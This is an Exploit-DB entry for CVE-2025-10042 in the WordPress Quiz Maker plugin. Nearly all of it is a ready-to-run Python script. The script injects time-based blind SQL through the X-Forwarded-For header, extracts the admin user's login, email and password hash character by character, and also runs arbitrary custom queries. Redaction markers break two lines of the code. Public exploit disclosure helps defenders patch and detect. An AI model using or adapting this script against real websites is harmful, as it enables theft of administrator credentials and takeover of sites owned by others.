Exploit-DB #52465
Description: WordPress Quiz Maker 6.7.0.56 - SQL Injection
Type: webapps
Platform: multiple
Date: 2025-12-25
Author: Rahul Sreenivasan

Exploit:
# Exploit Title: WordPress Quiz Maker 6.7.0.56 - SQL Injection
# Date: 2025-12-16
# Exploit Author: Rahul Sreenivasan (Tr0j4n)
# Vendor Homepage: https://ays-pro.com/wordpress/quiz-maker
# Software Link: https://wordpress.org/plugins/quiz-maker/
# Version: <= 6.7.0.56
# Tested on: WordPress 6.x with Quiz Maker 6.7.0.56 on Ubuntu/Nginx/PHP-FPM
# CVE: CVE-2025-10042

from argparse import ArgumentParser
from requests import get
from requests.packages.urllib3 import disable_warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from time import time
from sys import exit

disable_warnings(InsecureRequestWarning)

CHARSET = "[PII_REDACTED]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-@.!$/:?"

def send_payload(url, path, header, payload, timeout):
    target = f"{url.rstrip('/')}/{path.lstrip('/')}"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        header: payload
    }
    try:
        start = time()
        get(target, headers=headers, timeout=timeout, verify=False)
        return time() - start
    except:
        return timeout

def check_vulnerable(url, path, header, sleep_time, timeout):
    print("[*] Testing for SQL injection vulnerability...")
    
    baseline = send_payload(url, path, header, "127.0.0.1", timeout)
    print(f"[*] Baseline response time: {baseline:.2f}s")
    
    payload = f"1' OR SLEEP({sleep_time})#"
    injection = send_payload(url, path, header, payload, timeout)
    print(f"[*] Injection response time: {injection:.2f}s")
    
    if injection >= sleep_time * 0.7:
        print("[+] Target is VULNERABLE!")
        return True
    else:
        print("[-] Target does not appear to be vulnerable.")
        return False

def extract_length(url, path, header, query, timeout):
    low, high = 1, 100
    
    while low < high:
        mid = (low + high) // 2
        payload = f"1' OR IF(LENGTH(({query}))>{mid},SLEEP(1),0)#"
        elapsed = send_payload(url, path, header, payload, timeout)
        
        if elapsed >= 0.8:
            low = mid + 1
        else:
            high = mid
    
    return low

def extract_char(url, path, header, query, position, timeout):
    low, high = 32, 126
    
    while low < high:
        mid = (low + high) // 2
        payload = f"1' OR IF(ASCII(SUBSTRING(({query}),{position},1))>{mid},SLEEP(1),0)#"
        elapsed = send_payload(url, path, header, payload, timeout)
        
        if elapsed >= 0.8:
            low = mid + 1
        else:
            high = mid
    
    return chr(low) if low <= 126 else "?"

def extract_data(url, path, header, query, timeout):
    length = extract_length(url, path, header, query, timeout)
    print(f"[*] Data length: {length}")
    
    result = ""
    for i in range(1, length + 1):
        char = extract_char(url, path, header, query, i, timeout)
        result += char
        print(f"\r[*] Extracting: {result}", end="", flush=True)
    
    print()
    return result

def dump_users(url, path, header, timeout):
    print("\n[*] Extracting WordPress admin users...")
    
    # Get admin user login
    query = "SELECT user_login FROM wp_users WHERE ID=1"
    username = extract_data(url, path, header, query, timeout)
    print(f"[+] Username: {username}")
    
    # Get admin email
    query = "SELECT user_email FROM wp_users WHERE ID=1"
    email = extract_data(url, path, header, query, timeout)
    print(f"[+] Email: {email}")
    
    # Get password hash
    query = "SELECT user_pass FROM wp_users WHERE ID=1"
    [CREDENTIAL_REDACTED]_data(url, path, header, query, timeout)
    print(f"[+] Password Hash: {password}")
    
    return username, email, password

def main():
    parser = ArgumentParser(description="WordPress Quiz Maker SQLi Exploit (CVE-2025-10042)")
    parser.add_argument("-u", "--url", required=True, help="Target WordPress URL")
    parser.add_argument("-p", "--path", required=True, help="Path to quiz page")
    parser.add_argument("-H", "--header", default="X-Forwarded-For", help="Header for injection")
    parser.add_argument("-t", "--timeout", type=int, default=10, help="Request timeout")
    parser.add_argument("--check", action="store_true", help="Only check vulnerability")
    parser.add_argument("--dump", action="store_true", help="Dump admin credentials")
    parser.add_argument("--query", help="Custom SQL query to extract")
    args = parser.parse_args()
    
    print("[+] WordPress Quiz Maker SQLi Exploit (CVE-2025-10042)")
    print(f"[+] Target: {args.url}")
    
    if not check_vulnerable(args.url, args.path, args.header, 3, args.timeout):
        exit(1)
    
    if args.check:
        exit(0)
    
    if args.dump:
        dump_users(args.url, args.path, args.header, args.timeout)
    elif args.query:
        print(f"\n[*] Executing custom query: {args.query}")
        result = extract_data(args.url, args.path, args.header, args.query, args.timeout)
        print(f"[+] Result: {result}")
    else:
        dump_users(args.url, args.path, args.header, args.timeout)

if __name__ == "__main__":
    main()